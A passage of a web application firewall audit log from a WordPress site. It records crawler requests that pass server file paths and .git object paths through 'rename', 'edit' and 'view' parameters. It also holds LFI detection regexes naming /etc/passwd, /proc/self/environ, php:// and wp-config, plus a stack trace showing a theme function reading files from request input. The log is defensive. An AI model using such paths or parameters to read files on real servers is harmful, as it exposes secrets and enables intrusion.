\"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":366,"p2":7161,"p3":0,"p4":0,"p5":287,"sr":167,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:41:40.462265 +0100","transaction_id":"abN5Y_lFIvnJgHRlHaWaswAAAQQ","remote_address":"57.141.20.36","remote_port":56786,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/db/f21cef9388ea69be138cd771192ef713b137cb HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"6667a2a7108e56f904a15197450bba0d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1934216"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6667a2a7108e56f904a15197450bba0d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/db/f21cef9388ea69be138cd771192ef713b137cb||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":279,"p2":4106,"p3":0,"p4":0,"p5":312,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:41:46.967509 +0100","transaction_id":"abN5akapybP6n-qLTwtrXAAAAZQ","remote_address":"57.141.20.10","remote_port":60334,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/om_KE/LC_TELEPHONE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"d04b02ec0c7ca386ea661cc5afd7c59f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6651937"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d04b02ec0c7ca386ea661cc5afd7c59f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/om_KE/LC_TELEPHONE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":198,"p2":3965,"p3":0,"p4":0,"p5":279,"sr":108,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:42:10.023257 +0100","transaction_id":"abN5gepA8xvhc8hKmeg86QAAAVg","remote_address":"57.141.20.7","remote_port":37926,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wordfence/wordfence.8.1.0.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"c8113bb3b4493aae821ff2feae7db4d9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"557703"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c8113bb3b4493aae821ff2feae7db4d9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wordfence/wordfence.8.1.0.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":265,"p2":5715,"p3":0,"p4":0,"p5":347,"sr":116,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:42:24.185523 +0100","transaction_id":"abN5j0apybP6n-qLTwtrvAAAAYY","remote_address":"57.141.20.26","remote_port":60362,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/59/9fe51558744e779d5090164cbc19bafd6c3345 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.26","X-Forwarded-Proto":"https","X-Request-Id":"cb1c5a17c8cfd92fdfd36a1f440ef898","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1934243"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cb1c5a17c8cfd92fdfd36a1f440ef898","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/59/9fe51558744e779d5090164cbc19bafd6c3345||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":194,"p2":3656,"p3":0,"p4":0,"p5":306,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:42:36.626299 +0100","transaction_id":"abN5nOpA8xvhc8hKmeg9CAAAAUY","remote_address":"57.141.20.16","remote_port":35084,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/s/sibo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"e7f25d1d131be7e0150a2776f1fb275a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6455761"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e7f25d1d131be7e0150a2776f1fb275a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/s/sibo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":271,"p2":5277,"p3":0,"p4":0,"p5":233,"sr":148,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:42:54.544990 +0100","transaction_id":"abN5rodmjjYI1SpvwBAeJAAAABg","remote_address":"57.141.20.56","remote_port":48964,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/5a/f814050175cc2134d2ad4d54961bd6a933a1ea HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"57bd376e893f59b4f69ed6121ac7e479","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3081688"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"57bd376e893f59b4f69ed6121ac7e479","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/5a/f814050175cc2134d2ad4d54961bd6a933a1ea||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":198,"p2":4380,"p3":0,"p4":0,"p5":361,"sr":122,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:01.146051 +0100","transaction_id":"abN5tPlFIvnJgHRlHaWbRgAAARA","remote_address":"57.141.20.48","remote_port":38794,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/59/7b3c807f31528e27cd4cb95bee4b5ba72c0c24 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"192dde8531c54b1ca53ea523c6adb3a1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1247375"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"192dde8531c54b1ca53ea523c6adb3a1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/59/7b3c807f31528e27cd4cb95bee4b5ba72c0c24||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":216,"p2":5609,"p3":0,"p4":0,"p5":374,"sr":133,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:09.846908 +0100","transaction_id":"abN5vflFIvnJgHRlHaWbWAAAAQ4","remote_address":"57.141.20.4","remote_port":39864,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bf/6648759c2eb5e4c84b0300fb3b607c9c9bc314 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"0215e7317679bd57697a6125ac8c10fb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3015359"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0215e7317679bd57697a6125ac8c10fb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bf/6648759c2eb5e4c84b0300fb3b607c9c9bc314||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":5458,"p3":0,"p4":0,"p5":319,"sr":133,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:25.313462 +0100","transaction_id":"abN5zPlFIvnJgHRlHaWbdAAAARU","remote_address":"57.141.20.48","remote_port":48970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/zoneinfo/America/Paramaribo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.48","X-Forwarded-Proto":"https","X-Request-Id":"d71882fb004b2dec6970c6aa4bc863c1","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6357441"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d71882fb004b2dec6970c6aa4bc863c1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/zoneinfo/America/Paramaribo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":226,"p2":5602,"p3":0,"p4":0,"p5":564,"sr":146,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:28.278112 +0100","transaction_id":"abN5z0apybP6n-qLTwtsMwAAAYY","remote_address":"57.141.20.45","remote_port":60362,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/98/bf27b87f29cb9efc0fb19cbb4903dac02ce51d HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"b1400df3b155f9c199858829c57db31a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3410204"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b1400df3b155f9c199858829c57db31a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/98/bf27b87f29cb9efc0fb19cbb4903dac02ce51d||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":235,"p2":3693,"p3":0,"p4":0,"p5":559,"sr":93,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:30.181288 +0100","transaction_id":"abN50YdmjjYI1SpvwBAeXwAAABg","remote_address":"57.141.20.41","remote_port":48964,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=/usr/base/usr/share/terminfo/n/ncr260wy50%20pp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.41","X-Forwarded-Proto":"https","X-Request-Id":"2dcd6720c7aab880990530eaf28ce604","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6357450"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"2dcd6720c7aab880990530eaf28ce604","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught ValueError: Path cannot be empty in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php:180\\\\nStack trace:\\\\n#0 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(180): file_get_contents('')\\\\n#1 /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php(232): editFile(false)\\\\n#2 /htdocs/ptso.jmkconsulting-ci.com/wp-includes/template-loader.php(132): include('/htdocs/ptso.jm...')\\\\n#3 /htdocs/ptso.jmkconsulting-ci.com/wp-blog-header.php(19): require_once('/htdocs/ptso.jm...')\\\\n#4 /htdocs/ptso.jmkconsulting-ci.com/index.php(17): require('/htdocs/ptso.jm...')\\\\n#5 {main}\\\\n  thrown in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/single-service.php on line 180'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":309,"p2":5484,"p3":0,"p4":0,"p5":350,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:32.305565 +0100","transaction_id":"abN51IdmjjYI1SpvwBAeZAAAABE","remote_address":"57.141.20.51","remote_port":46940,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/4f/e16f73d9a56ece3e9405046d8c3df86d3d4c1b HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"796158e92317803167cf632173a478eb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3015413"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"796158e92317803167cf632173a478eb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/4f/e16f73d9a56ece3e9405046d8c3df86d3d4c1b||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":197,"p2":3733,"p3":0,"p4":0,"p5":385,"sr":108,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:43:47.612044 +0100","transaction_id":"abN54_lFIvnJgHRlHaWbvwAAAQw","remote_address":"57.141.20.25","remote_port":41138,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/42/3ce7ad79b3ce23c81ce62bdea32817627276dd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"8fa86144a389cbc116afa4b802571c71","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3965807"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", 